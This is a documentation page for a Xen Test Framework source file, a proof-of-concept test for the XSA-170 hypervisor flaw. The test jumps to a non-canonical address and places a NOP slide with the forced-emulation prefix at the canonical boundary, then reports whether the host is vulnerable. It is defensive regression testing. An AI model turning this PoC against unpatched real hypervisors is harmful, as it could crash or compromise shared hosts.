Xen Test Framework
main.c
Go to the documentation of this file.
1 
23 #include <xtf.h>
24 
25 const char test_title[] = "XSA-170 PoC";
26 
27 bool test_needs_fep = true;
28 
29 static void __user_text wild_jump(void)
30 {
31  /*
32  * After XSA-170, Xen's instruction emulator was improved to perform a
33  * 0-length instruction fetch at the destination of a branch. If the
34  * branch destination is bad (non-canonical, or outside of %cs limit), a
35  * #GP is raised instead of branching.
36  */
37  asm volatile (_ASM_XEN_FEP
38  "1: jmp *%0;"
39  ".Lwild_fixup:"
40  _ASM_EXTABLE(1b, .Lwild_fixup)
41  :: "rm" (0x8000000000000000ULL));
42 }
43 
44 static void __user_text nop_slide(void)
45 {
46  /*
47  * AMD hardware can correctly re-enter the guest with a non-canonical
48  * %rip. Use an EXTABLE entry to recover from the architecturally-correct
49  * results of executing ones way into the non-canonical region.
50  */
51  asm volatile ("jmp *%0;"
52  ".Lnop_fixup:"
53  _ASM_EXTABLE(0x0000800000000000, .Lnop_fixup) /* Correct. */
54  _ASM_EXTABLE(0xffff800000000000, .Lnop_fixup) /* XSA-170. */
55  :: "rm" (0x00007ffffffffff8ULL));
56 }
57 
58 void test_main(void)
59 {
62  static uint8_t buffer[PAGE_SIZE] __page_aligned_bss;
63 
64  printk(" Executing user wild jump\n");
66 
67  /* Map 'buffer' at the lower canonical boundary. */
68  nl1t[511] = pte_from_virt(buffer, PF_SYM(AD, U, RW, P));
69  nl2t[511] = pte_from_virt(nl1t, PF_SYM(AD, U, RW, P));
70  pae_l3_identmap[511] = pte_from_virt(nl2t, PF_SYM(AD, U, RW, P));
71  pae_l4_identmap[255] = pte_from_virt(pae_l3_identmap, PF_SYM(AD, U, RW, P));
72  barrier();
73 
74  void *volatile /* GCC issue 99578 */ ptr = _p(0x00007ffffffffff8ULL);
75 
76  /*
77  * Put a NOP slide and Forced Emulation Prefix as the final instructions
78  * before the boundary.
79  */
80  memcpy(ptr, "\x90\x90\xf\xbxen\x90", 8);
81 
82  printk(" Executing user nop slide\n");
84 
85  /*
86  * If we are still alive, Xen re-entered the guest properly (or suitably
87  * improperly).
88  */
89 
90  xtf_success("Success: Not vulnerable to XSA-170\n");
91 }
92 
93 /*
94  * Local variables:
95  * mode: C
96  * c-file-style: "BSD"
97  * c-basic-offset: 4
98  * tab-width: 4
99  * indent-tabs-mode: nil
100  * End:
101  */
#define _ASM_XEN_FEP
Xen Forced Emulation Prefix.
Definition: xen.h:150
#define L1_PT_ENTRIES
Definition: page.h:69
static intpte_t nl2t[L2_PT_ENTRIES]
Definition: main.c:30
#define __page_aligned_bss
Definition: compiler.h:37
intpte_t pte_from_virt(const void *va, uint64_t flags)
#define barrier()
Definition: compiler.h:30
void printk(const char *fmt,...)
Definition: console.c:134
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
#define __user_text
Definition: compiler.h:33
static intpte_t nl1t[L1_PT_ENTRIES]
Definition: main.c:31
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define memcpy(d, s, n)
Definition: libc.h:36
static void exec_user_void(void(*fn)(void))
Definition: lib.h:70
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
unsigned long intpte_t
Definition: page.h:152
bool test_needs_fep
Boolean indicating whether the test is entirely predicated on the available of the Force Emulation Pr...
Definition: main.c:34
const char test_title[]
The title of the test.
Definition: main.c:14
#define L2_PT_ENTRIES
Definition: page.h:70
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define PAGE_SIZE
Definition: page.h:11
#define _ASM_EXTABLE(fault, fixup)
Create an exception table entry.
Definition: extable.h:50
static void wild_jump(void)
Definition: main.c:29
__UINT8_TYPE__ uint8_t
Definition: stdint.h:14
static void nop_slide(void)
Definition: main.c:44